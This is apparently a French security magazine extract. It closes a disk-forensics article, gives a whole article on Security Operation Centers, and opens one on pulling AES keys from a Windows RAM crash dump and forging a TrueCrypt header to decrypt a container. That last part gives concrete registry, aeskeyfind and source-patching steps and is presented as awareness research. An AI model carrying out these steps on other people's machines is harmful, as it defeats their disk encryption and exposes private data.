antivirus. En ef fet, lors de la conférences 
du Black-hat en 2005, deux Hackers 
(James Butler et Sherri Sparks) ont 
présenté le projet Shadow Walker, avec 
un prototype de rootkit permettant  
de manipuler directement les pages 
de la mémoire physique. Ces nouvelles 
générations de rootkits résident et 
agissent uniquement dans  la mémoire 
physique et ce-ci, afin d'éviter toutes 
détections d'antivirus tout en contrant  
les techniques forensics traditionnelles...

Il faut donc rester vigilant, lors de 
l'investigation d'un disque dure.

et après ?
Suite à une attaque, le nombre de  
traces laissées par le pirate dépendra 
de ses compétences en matière de 
piratage. Ceux qui laissent des traces 
de leur(s) passage(s) of frent aux 
spécialistes une mine de renseignements 
pouvant donner lieux à des arrestations. 
Pour mener à bien ses recherches, 
l'expert peut s'aider du logiciel Sleuth Kit 
avec Autopsie. IL faut aussi porter une 
attention toute particulière sur les fichiers 
qui ont été ef facés et se demander 
pourquoi celui-ci et pas un autre (société 
qui cherche à couler son concurrent, 
fichier sensible relatif à un groupe ou 
une personne,...tout en les mettant 

Figure 5. Aperçus du logiciel Macinthos HFS 

Figure 6. Aperçus des logiciels antivirus ClamTk et XFPROT
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en corrélation avec les événements 
produits.)

Toute fois, les pirates qui arrivent  
à s'introduire dans un système,  prennent 
soin de camoufler leur venu ainsi que  
leur présence en utilisant des backdoors 
ou des rootkits afin de pouvoir revenir sur le 
système. Face à cela, l'expert peut étudier 

Sur Internet
•  http://www.e-fense.com/products.php – Site officiel de la société e-fense 
•  http://www.accessdata.com – Site officiel de la société AccessData
•  http://www.guidancesoftware.com –  Site officiel de la société Guidance
•  http://www.forensicswiki.org/wiki/Main_Page – Page Wiki contenant  

des informations et des outils Open-Source liés à l'investigation forensic
•  http://www.hsc.fr/ressources/breves/hackresponse.html – très bonne lecture  

réalisé par le cabinet de sécurité HSC concernant la réponse à une intrusion 
•  http://www.sans.org/score/checklists/ID_Linux.pdf – Aide mémoire  

en réponse à une intrusion sous Linux
•  http://www.sans.org/score/checklists/ID_Windows.pdf  – Aide mémoire en réponse à une 

intrusion sous Windows
•   http://www.opensourceforensics.org – Site regroupant de nombreux outils open-source 

pour l'investigation forensic 
•   http://wiki.backtrack-fr.net/index.php/Liste_des_fichiers_logs – page regroupant  

tous les logs de chaque systèmes (Red Hat/Mac OSX, Solaris, Debian,  
Windows, Linux, etc...)

•   http://www.thetrainingco.com/pdf/Monday/Techno%20Forensics%2020071029%20NDon
nelly%20Macintosh%20Imaging.pdf – Compte rendu d'une conférence sur les méthodes 
forensic sur Mac, Windows et Linux

•   http://rkhunter.sourceforge.net – Pogramme  rkhunter
•   http://ourmon.sourceforge.net – Projet Ourmon
•   http://www.informit.com/store/product.aspx?isbn=0321591801 –  Practical Intrusion 

Analysis: Prevention and Detection for the Twenty-First Century, livre traitant  
de la sécurité et des intrusions dans un réseau

•  http://www.blackhat.com/presentations/bh-jp-05/bh-jp-05-sparks-butler.pdf – Présentation 
du projet Shadow Walker lors du Black-hat 2005

À propos de l'auteur
L'auteur est actuellement en première année  
de BTS informatique au lycée Bahuet à Brive.
Autodidacte, il se passionne pour la programmation 
ainsi que la sécurité depuis l'age de 15 ans.
Parallèlement à cela, il est présent sur le site 
Devellopez.com et contribue à l'échange de savoir  
dans la communauté entant que rédacteur sécurité.
Il peut être contacté à l'adresse suivante: 
thpierre@redaction-developpez.com

le réseau à l'aide du logiciel Wireshark ou 
Ourmon (s'il soupçonne la présence la 
présence d'une machine zombie).

Une fois toutes les étapes réalisées, 
il ne reste plus qu'à les porter devant le 
tribunal.

Tout éléments d'image d'un disque 
dur ayant subit un piratage, est un 

P U B L I C I T É

élément de preuve devant un tribunal.  
En ef fet, les informations contenues dans 
l'image peuvent renseigner sur la date 
du piratage, les modifications éventuelles 
des fichiers, ainsi que les droits auxquels 
le pirate à eux durant son intrusion dans 
le système.

Conclusion
A travers cet article, nous avons donc 
vu que la suite Helix présente des outils 
pouvant mener à bien une étude forensic. 
Toute de fois, cela peut parfois s'avérer 
(très) dif ficile si l'on n'est pas expert 
ou si le pirate à fait en sorte d'ef facer 
correctement toutes les traces de son 
passage. En matière d'apprentissage  
en criminologie informatique, cela 
requière du temps et de la patience.  
Bien évidement dans ce milieu, les 
personnes qui accréditent les faits sont 
des experts certifiés, et c'est donc pour 
cela que faire appel à leurs services 
permet de pouvoir gagner un temps 
précieux si le piratage est porté devant 
les tribunaux.
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PRATIQUE

Introduction 
Aujourd’hui, il n’est pas commun de rencontrer 
des RSSIs qui puissent af firmer connaitre  
en temps réel l'état des attaques ciblant  
leurs systèmes d'informations ou même  
de présenter les statistiques sur les dif férents 
incidents de sécurité des dernières 48 heures. 
Pour plusieurs raisons, le service de super- 
vision de la sécurité du SI a été toujours 
considéré comme non prioritaire, au profit 
de ceux relatifs à l’intégration ou de l’audit de 
sécurité.

Le calcul d'un retour sur investissement  
de la sécurité informatique n'est pas un 
sujet facile. Pourtant avec son activité, 
ses tableaux de bord, ses rapports et ses 
statistiques, le centre opérationnel de sécurité 
ou SOC (Security Operation Center) rendra 
l'investissement réel et justifiera toutes les 
dépenses ef fectuées pour tous les solutions  
de sécurité mis en place.

Cet article présente une vue globale sur 
les SOC ainsi que les dif férents éléments 
nécessaires à sa mise en place.

 

Qu'est ce qu'un SOC? 
Le SOC est une entité capable de garantir une 
veille permanente, 7j/7 et 24h/24, sur la sécurité 
de votre système  d'information et de réagir en 
cas d'attaque (propagation virale). 

Helmi RAiS

Cet artICle 
explIQue...
les missions d'un SOC,

l'interaction du SOC avec  
les autres entités du Si,

les différents composants 
logistiques et techniques pour  
la mise en place d'un SOC,

Ce Qu'Il faut 
SavOIr...
Gestion des risques 
opérationnels,

Gouvernance de la sécurité 
informatique,

 Outre la supervision et l'analyse des 
dif férentes alertes des équipements de  
sécurité ( Firewall, IDS, HIDS, Antivirus, Anti  
spam, NAC, VPN), OS et applications du SI,  
le SOC tachera à identifier les nouvelles 
menaces affectant le SI (Vulnérabilités, 
Malwares) et à superviser la conformité aux 
politiques de sécurité internes et aux dif férents 
standards de sécurité.

 Comme activité quotidienne, le SOC  
aura à analyser et qualifier la criticité des 
événements,  à notifier les entités concernées, 
à fournir un ensemble de recommandations ou 
palliatifs et à effectuer par la suite le reporting  
et le suivi du plan d’action. 

Le SOC devra donc rendre compte  
au RSSI en lui présentant ses rapports 
et analyses. Il devra également interagir 
avec les autres entités pour discuter des 
recommandations et palliatifs adéquats.

 En général, il faudrait entre 3 et 6 mois pour 
mettre en place un SOC. Il y a pour  
cela 3 scénarios possibles.

Scénario 1: Infogérance
Il s'agit d'outsourcer ce service vers une  
équipe dédiée qui a les compétences 
nécessaires et qui est externe à l'entreprise.  
Il est vrai que cette  option pourrait être la moins 
couteuse et celle qui garantit le plus d'objectivité 
et le moins de collision entre les équipes. 

Degré de difficulté

Les Centres 
Opérationnels  
de Sécurité

Cet article présente une vue globale sur les SOC ainsi que les 
différents éléments nécessaires à sa mise en place.
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Cependant, dans la majorité des  
cas, cette équipe ne connait pas  
tous les détails de l'environnement  
de travail, ce qui conduirait à une 
inefficacité du traitement des risques  
et de l'interprétation des données,  
en plus d'un problème majeur relatif  
à la garantie de la confidentialité  
des données, des alertes et des 
incidents. 

Scénario 2: Chaque équipe 
(système, réseau, sécurité)  
aura son propre SOC
C'est vrai que ces groupes internes 
connaissent très bien l'environnement  
de travail mais n'ont pas forcément  
un background de sécurité. En plus, 
l'effort global sera dupliqué entre les 
activités quotidiennes, la détection, la 
remontée et l'analyse des alertes de 
sécurité.

Scénario 3: un SOC central
Ici le potentiel d'ef ficacité est plus 
important : cette équipe est censée  
non seulement connaitre les détails 
du SI (plus qu'un infogérant) mais 
aussi avoir travaillé sur l'ensemble 
des solutions qui y existent. Le plus 
grand avantage est la possibilité de 
corrélation entre les dif férents groupes 
d’une part et entre les dif férentes 
aler tes d’autre part. Ceci permettrait  
de garantir une qualité d'analyse  
plus importante et un taux de faux 
positifs moins élevé. L'inconvénient 
majeur de cette solution serait peut  
être son cout en matière de 
consommation de moyens techniques 
et de ressources.

 A noter que comme tout 
nouveau projet  à fort impact sur 
le SI , il est nécessaire   de définir 
une stratégie d'information et de 
sensibilisation auprès de toutes les 
équipes  impactées, y compris la 
DRH, le service juridique et la sécurité 
physique. 

SOC et NOC 
Le SOC (Security Operation Center)  
et le NOC (Network Operation  
Center) devraient être, à mon avis, des  
entités complètement indépendantes.  

D'ailleurs, tous les SOC joints avec  
des NOC se voient toujours les 
ressources et le financement  
absorbés.

 En réalité, les administrateurs 
systèmes et réseaux ne peuvent 
pas assurer cette fonction, parce 
que premièrement, ces équipes ne 
comportent pas forcément des  
experts en sécurité ayant les, 
connaissances nécessaires pour  
traiter les risques, conduire des 
analyses et décider des palliatifs. Ce 
sont des équipes très chargées par 
leurs tâches et dont la disponibilité des 
services LAN/WAN est leur première 
priorité au profit du traitement des 
alertes de sécurité. 

 Il ne faut pas oublier que les 
membres du NOC ont les droits 
d'accès aux routeurs, firewalls, IDS, 
serveurs, etc. La conservation des 
principes de privilèges minimum 
et séparation des tâches est très 

importante dans notre cas. Puisqu'on 
ne peut pas être juge et partie en 
même temps! Ainsi le SOC devrait avoir 
uniquement des droits d'accès  
en lecture aux dif férents Logs.

 Les membres du SOC devraient 
avoir les compétences et les formations 
nécessaires leurs permettant d'iden- 
tifier des signatures d'attaques, d'en 
comprendre l'origine et le scénario et 
d'identifier les palliatifs immédiats pour 
les contrer.

SOC et CSIrt 
Dans plusieurs cas, la tache SOC  
est attribuée à l'unité CSIRT  
(Computer Security Incident Response 
Team) existante. A mon avis, c'est  
le scénario idéal. Cette équipe déjà  
en place, connait l'environnement 
de travail, a déjà son réseau de 
collaboration et ef fectue des taches  
de veille sur les menaces et 
vulnérabilités af fectant le SI.

Figure 1. Quadrant magique des solution SIEM
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SOC et Helpdesk 
Le Helpdesk peut être un partenaire 
très important dans le réseau du SOC. 
En partageant les incidents relatifs aux 
anomalies de fonctionnement ou aux 
problèmes de sécurité (virus, spywares, 
etc.), le Helpdesk peut fournir au SOC des 
informations très précieuses pour son 
activité. 

Au démarrage, le service peut être 
lancé une ou deux personnes mais 
l’équipe devrait rapidement atteindre le 
nombre de 8 afin d’assurer une veille 7j/7  
24h/24.

ressources humaines
En plus et afin de simplifier la tâche,  
il serait intelligent que les membres  
du SOC seraient recrutés des dif férentes 
équipes existantes (système, réseau, 
etc.) ayant une vision complète sur 
l’environnement et les dif férents 
équipements et solution utilisées.  
Les critères de choix peuvent être  
relatifs à l'expérience, à la compétence 
technique mais également à l'attitude  
de la personne recrutée: curiosité, 
logique, capacité à comprendre  
et à évoluer et surtout une très grande 
éthique. Il ne  faut pas oublier que ces 
personnes seront chargées de traiter  
des données confidentielles relatives  
aux attaques subies; et dont on ne 
voudrait absolument pas trouver les 
échos ailleurs. 

 Un plan de formation devrait  
être mis en place pour les membres  
du SOC. Plusieurs formations offertes  
par l’institut SANS, le CERT/CC ou  
l’EC-Council à propos de la gestion  
des incidents, l'analyse des intrusions  
et l'investigation sur incident peuvent  
être envisagées.

procédures
La mise en place de ces procédures 
réduit les confusions et rend le traitement 
des risques plus efficace. Plusieurs 
travaux ont été effectués et publiés 
dans ce sens, il convient  juste à les 
personnaliser. 

•  Procédures de gestion d'incidents,
•  Procédure de gestion des risques et 

menaces (vulnérabilité, malwares, etc.),

•  Procédure de gestion de crise,
•  Gestion des évidences électroniques,
•  Procédure d'nalyse en profondeur  

et détection d’intrusion
•  Partage d’informations et de 

connaissances,

Comme le SOC devrait être totale- 
ment fonctionnel 24h/24 et 7j/7, il est 
évident qu’un plan de continuité  
d'activité soit en place et que la  
mobilité des membres de l'équipe soit 
assurée. Le SOc doit continuer  
à travailler même si le centre primaire 
n'est plus disponible.

Moyens techniques
Les moyens techniques nécessaires  
à l'activité d'un SOC sont les suivants:• 

•  Console centrale permettant de 
corréler les logs et de visualiser les 
alertes de sécurité,

•  Système de gestion de Tickets afin 
d'assurer le suivi des incidents et des 
alertes,

•  Une base de connaissances avec un 
forum de discussions, avec moteur de 
recherche 

•  Laboratoire de test : copie de tous 
les produits de l'environnement de 
production (tester les exploits, les 
vmware et émulateurs),

Dans ce qui suit quelques détails sur les 
deux premières solutions :

SIeM : Security Information  
and event Management 
Appelé également SEM (Security 
Event Management) ou SIM (Security 
Information Management), ce type 
de solution permet de donner une 
vision globale de la sécurité et de son 
évolution au quotidien. Ils permettent 
de concentrer et de corréler les logs 
des dif férents équipements (réseau 
et sécurité), serveurs et applications 
dans une seule plateforme. Plusieurs 
de ces outils permettent de veiller au 
respect des politiques de sécurité 
et de répondre aux nombreux audits 
de conformité (Sarbanes Oxley, PCI, 
ISO27001, SAS70...).

 Dans le marché des SIEM il  
existe plusieurs solutions plus au 
moins matures : enVision (RSA),  
Arcsight (ESM), SCC (Computer 
Associates), SMS (Exaprotect), 
TSIM/TSOM (IBM), Security Manager 
(Intellitactics), Foundstone (McAfee), 
Security Manager (NetIQ), Monitoring 
Center (Netreport), OSSIM, Defense 
Center (SourceFire) et SIM (Symantec), 
CS-MARS (Cisco).

 Le groupe Gartner a publié  
en 2007 son « Magic Quadrant for  
Security Information and Event 
Management » qui présente une  
étude comparative détaillée de ces 
dif férentes solutions.

En général voici les fonctionnalités 
d'une solution SIEM :

Figure 2. Capture d'écran d'OTRS
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• Consolidation des logs,
• Corrélation des menaces : Utilisation 

de l'intelligence artificielle afin de trier 
les journaux et d'identifier les sources 
d'attaques,

• Gestion des vulnérabilités,
• Gestion des incidents,

– Notification – email, pagers, MOM, 
HP Openview,

•– Création de tickets,
– Automatisation des réponses 

– exécution de scripts,
– L'archivage des réponses et 

actions de remédiations.,
• Reporting

– Efficacité opérationnelle,
– Conformité / ISO, SOX, HIPPA, 

FISMA….,
– Ad Hoc / Investigations,

Les solutions SIEM du marché se 
dif férencient par:

•  Le type de la solution: logicielle ou 
Appliance,

•  L'architecture de déploiement 
(centralisée ou distribuées),

•  La granularité de la personnalisation 
de l’application, en particulier en 
matière de gestion des équipements 
des vulnérabilités, l'ajout des règles de 
corrélation ou des format de logs pour 

les applications maison.,
•  Les fonctionnalités de reporting, de 

tableaux de bord et de respect de la 
conformité aux politiques de sécurité,.,

•  La qualité du moteur et algorithmes de 
corrélation ,

•  Le nombre d'équipements supportés,
•  Le type de stockage supporté (bases 

de données, fichiers plats).

Systèmes de gestion  
de tickets 
Il existe dans le monde libre plusieurs 
systèmes de gestions des tickets  
pour dif férents types d'usages (gestion 
de parc informatique, etc.). Ecrit en  
perl, OTRS (Open-source Ticket  
Request System) est peut être l'un  
des plus connus. 

Destiné à répondre aux besoins  
d'un CSIRT, l'application SIRIOS peut 
être très utile pour la gestion du flux  
de travail au sein d'un SOC. Basé  
sur OTRS , il permet de réaliser  
et d'enregistrer toute la correspon- 
dance de la résolution d'un incident  
(e-mail, téléphone, note interne...). 

 SIRIOS est constitué d'une série  
de modules pour OTRS :

•  module Incident : permet de gérer 
des incidents à base du format XML 

IODEF (incident object description and 
exchange format),

•  module Advisory : permet de générer 
des avis de sécurité sous le format 
XML EISPP/DAF (European security 
promotion programme),

•  module Vulnerability : une base de 
données de vulnérabilités pouvant être 
enrichies par des bases existantes,

•  module Artefact : permet de sauver 
(valeur de hachage) et de gérer les 
artefacts (exploits, logs...) à analyser,

•  module WebWatcher : surveillance de 
site Web,

•  Console IDMEF (intrusion detection 
message exchange format),

•  Base de contacts.

Conclusion 
Il est clair que le SOC n’est pas 
seulement  basé sur des outils mais  
il s’agit plutôt d’une organisation  
à mettre en place et des ressources 
humaines à gérer. Il s’agit d’un projet 
à long terme et en amélioration 
continue.  Le succès de ce projet  
est totalement dépendant  de la 
diminution du temps nécessaire  
pour détecter une attaque et prendre 
toutes les mesures nécessaires pour  
la contrer.

À propos de l'auteur
CISSP et actuellement consultant en sécurité 
informatique chez Alliacom, l'auteur a été 
responsable de la première équipe CERT  
en Afrique: CERT-TCC (Computer Emergency 
Response Team - Tunisian Coordination Center) 
durant plus de cinq années. Durant cette période 
l'auteur a participer dans plusieurs projets  
de conseils en sécurité à l'échelle nationale  
y compris le sommet mondial pour la société 
d'information WSIS Tunis 2005. Il a également 
effectué plusieurs interventions dans des  
évènements internationaux relatifs à la sécurité 
informatique (ITU, FIRST, OIC-CERT,etc.).

Sur Internet
•  http://www.gartner.com 
•  http://www.otrs.com/en/products/ 

sirios/ 
•  http://securosis.com/research/sim-

siem-and-log-management/
•  http://www.iv2-technologies.com/ 

SOCConceptAndImplementation.pdf 
•  http://www.cert.org
•  http://www.sans.org/

Figure 3. Gartner Website
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Sur le marché on trouve bon nombre de 
FDE (Zone Central de Prim'X, DM-Crpyt, 
Truecrypt, etc.) disponible sur plusieurs 

plates-formes. Mais qu'elle est le niveau de 
protection que garantissent ces FDE? La ou 
certain n'affiche que des références, d'autre sont 
certifier par la DCSSI, par exemple :

•  Zone Central : EAL 2+,
•  Truecrypt : CSPN.

Cependant malgré ces certifications, des FDE 
restent vulnérables. Cet article se propose 
de démontrer une vulnérabilité commune  
à plusieurs FDE, qu'ils soient propriétaires 
ou non, certifiés ou non. Une récente étude 
du CITP (Center for Information Technology 
Policy) de l'université de Princeton a démontré 
qu'il était possible de récupérer des clés de 
chif frement en RAM (AES et RSA). Cette attaque 
porte le nom de "Cold Boot". Le principe est de 
récupérer les barrettes de RAM pour en extraire 
les éléments secrets. La faisabilité d'une telle 
attaque implique notamment:

•  un accès physique à la machine,
•  qu'elle soit en cours de fonctionnement,
•  un temps de réalisation court (du à la faible 

persistance des données en RAM une fois 
hors tension et au risque d’être découvert).

Jérôme Bise

Cet artiCle 
explique...
Comment récupérer des  
clés Aes en rAm.

Comment les utiliser pour 
déchiffrer un disque dur.

Quelles solutions mettre en 
place contre cette menace.

Ce qu'il faut 
savoir...
savoir utiliser Windows  
et Linux.

La programmation en C/C++.

Les bases de la cryptographie.

Cette attaque est donc dif ficilement réalisable ce 
qui minimise grandement son impact au niveau 
opérationnel et donc sa prise en compte par les 
utilisateurs. 

Cet article montre grâce aux recherches du 
CITP:

•  la possibilité de mener une telle attaque 
sans passer obligatoirement par un accès 
physique,

•  la conduite de cette attaque, de la 
récupération des clés au déchiffrement des 
données,

•  les moyens de s'en prémunir.

Le but est de sensibiliser les utilisateurs de  
FDE sur les menaces pesant sur la protection  
de leurs données et de la réalité d'une telle 
attaque.

Les manipulations du code source  
présentées dans cet article ou été réalisées 
sous Ubuntu 8.04. Nous n'avons pas choisie de 
le faire sous Windows en raison de la lourdeur 
des logiciels nécessaires à la compilation du 
code source et de leurs coût (requiers: Visual 
Studio 2008, MVSC C++ 1.52, DDK Windows, 
etc.). De plus les modifications apportées au 
code source servent de démonstration pour 
l'article, ils ne doivent pas être reproduit pour une 
utilisation opérationnelle.

Degré de difficulté

LA RAM :  
Une vulnérabilité 
avérée des FDE
Les systèmes de chiffrement de disque à la volé (FDe, on the 
Fly Disk encryption) sont des logiciels permettant d'assurer 
la confidentialité des données. Ces systèmes permettent de 
chiffrer/déchiffrer les données d'un disque dur (ou d'un conteneur) 
lorsque l'on y accède. ils sont complètement transparents pour 
les utilisateurs (excepté la saisie d’un mot de passe). L'utilisation 
de FDe est aujourd'hui de plus en plus courante, que ce soit par 
des entreprises ou des particuliers pour assurer la confidentialité 
des données.
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principe
Les manipulations présentées au 
cours de cet article ont été réalisées 
avec Truecrypt V6.1a, V6.2. Ce FDE a 
été certifié CSPN par la DCSII dans sa 
version 6.0a. Truecrypt permet de faire du 
chiffrement à la volé avec :

•  un disque dur ou une partition,
•  un conteneur, c'est un fichier qui 

contient les données chiffrées qui 
sera monté comme un disque 
(exemple pris dans cet article),

•  l'ensemble d'un système 
d'exploitation.

Lorsque l'on souhaite accéder à des 
données chif frées dans un conteneur 
(ou un disque), on est invité à saisir son 

mot de passe. Une fois saisie, le  
mot de passe est utilisé dans une 
fonction de dérivation de clef (PBKDF2). 
Cette fonction génère deux clés 
(nommé HeaderKeys HK) qui serviront  
à chif frer/déchif frer l'entête du conteneur 
qui contient notamment, les clefs de 
chif frements des données (nommées 
MasterKey et SecondaryKey : MK, SK) 
servant à chif frer nos données  
(le chif frement utilisé dans cet article  
est AES-XTS cf. Figure 1).

Une fois que MK et SK ont été 
récupérées, elles se trouvent en RAM tant 
que le conteneur est en cours d'utilisation. 
Une fois que le volume est démonté, 
MK et SK sont effacées définitivement 
de la RAM grâce à la fonction Burn(). 
Cette fonction est chargée d’effacer 

proprement les données en RAM pour 
empêcher de les récupérer une fois le 
conteneur démonté.

Le principe de l’attaque, est de 
récupérer l’ensemble des clés de 
chif frement en RAM et de retrouver 
parmi elles MK et SK. Le nombre de 
combinaison possible pour n clés 
récupérées est :. Si on prend un cas 
défavorable (en récupérant 10 clés  
en RAM), cela faitcombinaisons 
possibles. C'est-à-dire que même dans 
un cas défavorable on est loin des 
2512≈1,3.10154 possibilités. Car même 
en passant 1ns par clés il faudrait 
plus d’une vie pour tester toutes les 
combinaisons en brute force. Pour 
identifier le bon couple de clés parmi 
les n récupérés, il faut déchif frer les 
premiers octets du conteneur afin de 
déterminer si les données récupérées 
correspondent au début d’un type de 
système de fichiers. Lorsque cela est 
fait on a identifié MK et SK. Cependant, 
la formule précédente est valable dans 
un cas où on connaît l’algorithme de 
chif frement ainsi que le système de 
fichier utilisé. Dans le cas contraire on 
aurait la formule suivante : Une fois 
que l'on a trouvé le bon couple de clé, 
on va générer un faux entête Truecrypt 
dont on connaît le mot de passe et qui 
contiendra MK et SK. Cet entête sera 
généré avec un mot de passe que l’on 
choisira. On s’en servira pour remplacer 
celui du conteneur à déchif frer. Une fois 
que l’on saisira notre mot de passe, 
Truecrypt déchif frera notre entête et 

Figure 1. Synoptique chiffrement AES-XTS d'un entête Truecrypt 

Figure 2. Injection de MK et SK et remplacement de l'entête 

Listing 1. Erreur du BOSD généré 
par crash dump

*** STOP: 0x000000E2 (0x00000000,
0x00000000,0x00000000,
0x00000000)
The end-user manually 
generated the crashdump.

Listing 2. Clés récupérées en RAM

606433e1479ba65d746e2d2bbd6a1034
3cab8a95f649e42dd7006e780afeb13c
dfea3045db773064d3c2299d8ebc10fd
5ab4140a570c256b53dee55623125108
000102030405060708090a0b0c0d0e0f
101112131415161718191a1b1c1d1e1f

Clés d’entête
KE1      KE2

PBKDF20

Mot de passe

Salt
Entête non chiffré

+ Master Key
+ Secondary Key

+ ...

AES

AES

Entête 
TrueCrypt

∂i

i

Volume de creation d’enête

Enête Données chiffrées

Remplacement
de l’enête cible

Injecton de MK
et SK

Entête de
sauvegrade

Conteneur cible

Entête Données chiffrées cible
Entête de
sauvegrade
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prendra le couple (MK ; SK) que nous lui 
avons donné pour déchif frer les données 
du conteneur cible (cf. Figure 2).

NB : Cet article ne présente pas de 
moyen pour récupérer les clés en RAM 
et le conteneur cible à distance. Car 
il existe suffisamment de vulnérabilité 
pour récupérer un fichiers à distance et 
d'exécuter un programme charger de 
récupérer des données en RAM. La plus 
value de cet article repose uniquement 
sur le déchif frement du conteneur cible 
(qui reste largement supérieur aux 
attaques par brute force) et les méthodes 
permettant de s'en prévenir.

la vulnérabilité
Le système cible est équipé de Windows 
XP SP3 et du FDE Truecrypt. Le conteneur 
cible utilise l’algorithme de chiffrement  
et le système de fichier proposé par 
défaut (AES-XTS et FAT16). On part de 
l’hypothèse que l'utilisateur a monté son 
conteneur. 

Dump mémoire
La première étape consiste à récupérer 
le contenu de la RAM. Pour cela, une 
méthode simple consiste à générer 
un crash dump qui va copier tout le 
contenu de la RAM dans un fichier. 
Il faut savoir que les pages de la 
RAM contenant les clés ne sont pas 
accessibles par les comptes ayant 
des droits par défaut. L’avantage du 
crash dump est que c’est le système 

qui l’exécute, il peut donc y accéder. 
Cette opération nécessite de modifier 
quelques paramètres du registre (cf. 
Figure 3):

Dans la clé: HKEY_LOCAL_MACHINE\
System\CurrentControlSet\Control\
CrashControl.

Il faut positionner les valeurs 
CarshDumpEnabled à 1. Cela crée une 
copie total de la mémoire RAM dans le 
fichier définit dans la clé DumpFile.

La génération d’un crash dump se fait 
lorsque l’OS reçoit une interruption IRQ. 
Dans notre cas, nous allons réaliser cette 
action par une combinaison de touche, 
en modifiant une des clés suivantes en 
fonction du type de clavier :

Clavier PS/2, positionner la valeur :

HKEY_LOCAL_MACHINE\SYSTEM\

CurrentControlSet\Services\

  i8042prt\Parameters\

  CrashOnCtrlScroll à 1 (REG_DWORD)

Clavier USB :

HKEY_LOCAL_MACHINE\SYSTEM\

CurrentControlSet\Services\kbdhid\

  Parameters\CrashOnCtrlScroll 

  à 1 (REG_DWORD)

La combinaison : CTRL droit + SCROLL 
LOCK + SCROLL LOCK fera apparaître un 
écran bleu avec le message du Listing 1 
et créera la copie de la RAM.

extraction et identification 
du couple (MK;sK)
Comme notre utilisateur avait son 
conteneur monté lors du crash dump, 
et les clés sont a présent dans le 
fichier de dump : ‘ ‘MEMORY.DMP’’. 
Pour les récupérer, nous allons utiliser 
le programme du CITP nommé 
'aeskeyfinder'[1] et disponible sous  
Linux. Ce programme permet de  
trouver dans un fichier, des éléments 
étant potentiellement des clés de 
chif frement AES. Pour cela, il ef fectue 
sur chaque bloc de 128 et 256 bits 
un calcul afin de mesurer son niveau 
d’entropie. Si le niveau est suf fisant, 
l’utilitaire enregistre le bloc en tant que 
clé potentielle.

$ aeskeyfind MEMORY.DMP > 

   liste_clefs.txt

Le Listing 2 contient l’ensemble des clés 
retrouvées dans la RAM de notre machine 
de test :

Le but maintenant est d’identifier  
le bon couple (MK ;SK). Pour se faire, 
nous allons déchif frer une partie 
du conteneur avec les dif férentes 
combinaisons de clé (ici ) par système 
de fichier, afin d’identifier le début d’un 
système de fichier. En réalité, si l’on met 
de côté les hypothèses de l’attaque 
ont aurait combinaisons car on a 2 
systèmes de fichiers et 8 algorithmes 
de chif frement disponibles sur la version 
Windows de Truecrypt. Le système de 
fichier par défaut proposé et FAT 16. 
Nous allons donc tenter de retrouver  
la suite (46 41 54 31 36 = FAT 16 en 
ASCII) cf. Figure 4. 

Le mode de chiffrement AES-
XTS a besoin d’un certain nombre de 
paramètres pour effectuer une opération 
de chiffrement ou de déchiffrement (en 
plus de MK et SK), à savoir :

•  Un numéro de bloc. Chaque blocs est 
composé de 16 octets,

•  Un numéro d’unité, chaque unité est 
composé de 32 blocs soit 512 octet.

Les 65535 premiers octets d’un conteneur 
sont réservés pour l’entête, les 65535 
suivant sont réservés pour l’entête des 

Figure 3. Activation du crash dump 

Figure 4. Début d'une partition FAT 16 
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volumes cachés. Par conséquent  
notre système de fichier commence 
à l’octet 131072.C'est-à-dire que si 
il s’agit d’un disque en FAT 16 on 
retrouvera notre suite de nombre dans 
l’unité 100(16), bloque 4 ((131072+48) : 
512=256(10)=100(16)). Pour déchiffrer ce 
bloque il faudrait implémenter l’algorithme 
de chiffrement AES-XTS, ce qui n’est pas 
une mince affaire. Cependant, Truecrypt 
fournit un banc de test (cf. Figure 5) qui 
permettra de déchiffrer rapidement ce 
bloc.

Le Listing 3 donne la valeur chif frée 
et claire de l’unité 100, bloque 3 du 
conteneur récupéré :

Comme nous avons retrouvé la suite 
magique, nous pouvons en déduire deux 
choses :

•  Le disque chiffré contenu dans le 
conteneur est au format FAT 16,

•  Le couple (MK;SK) testé dans sur le 
banc de test est le bon.

Si nous n’avions pas trouvé le bon 
couple, nous aurions du changé 
les clés et le système de fichier 
potentiel jusqu'à identification des 
deux paramètres précédents. Si l’on 
reprend notre le cas défavorable 
à 45 combinaisons de clés. On 
prend tous les systèmes de fichiers 
proposés par Truecrypt (NTFS, FAT, 
EXT2, EXT3) et les 8 huit algorithmes 
de chif frement proposés on atteint 
seulement 45x8x4=1440 possibilité pour 
un conteneur récupéré sous Linux et 
45x2x8=720 sous Windows, soit gère 
plus qu’un attaché case avec un code 
à trois chif fres. Même si ces 1440 
possibilités à tester sont fastidieuses, 
il est possible d’automatiser cette 
recherche de clé en implémentant les 

algorithmes disponibles et l’iden- 
tification du système de fichiers.

Génération d'un entête Truecrypt  
et injection de (MK;SK)
Le cas du déchiffrement du conteur  
cible pose la même problématique 
que celle du déchif frement du bloque 
précédent. Il faut implémenter l’algorithme 
utilisé. Une autre approche plus 
pragmatique et possible lorsque l’on 
regarde comment fonctionne un volume 
Truecrypt.

Un volume est composé de 
trois parties (cf. Figure 6). Toutes les 
informations caractérisant le conteneur 
et permettant sont déchif frement sont 
contenues dans l’entête du volume. Cet 
entête est chif fré à partir du mot de 
passe de l’utilisateur et d’un sel (cf. Figure 
1). La ruse consiste à faire généré à 
Truecrypt un entête dont on connaîtra le 
mot de passe et qui contiendra le couple 
(MK;SK) récupéré cf. Figure 2.

Cette manipulation nécessite  
de modifier le code source de  
Truecrypt. La génération des clés de 
chif frements se fait lors de la création 
du volume. Les clés sont générées par 
la fonction : RandomNumberGenerator:
:GetData(), dont les 256 premiers bits 
correspondent à MK et le 256 suivants  
à SK. On va donc remplacer l’appel  
de cette fonction par l’injection de nos 
clés cf. Figure7.

Une fois le code source modifié,  
on recompile Truecrypt et on génère un 
conteneur de même taille que la cible 
avec notre mot de passe. Une fois fait,  
on sauvegarde l’entête de notre 
conteneur, puis on restaure l’entête  
de la cible avec celui sauvegardé  
(cf. Figure 2). Il ne reste plus qu’à monter 
le conteneur cible en saisissant notre  
mot de passe, et le tour est joué.

Figure 5. Banc de test Truecrypt 

Listing 3. Identification du système 
de fichier

Chiffré :
   11D30BC44026B92B6D016BE17930
   E99A
Déchiffré
   4d45202020204641543136202020
   0000

Figure 6. Volume Truecrypt 

Conteneur cible

Entête Données chiffrées Entête de
sauvegarde
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Pour ceux qui serait sceptique sur 
la faisabilité de cette attaque, il suffit de 
regarder le gain de temps au niveaux 
combinatoire comparer à une attaque 
par brute force, même si on effectue 
des opération manuelles. On pourrait 
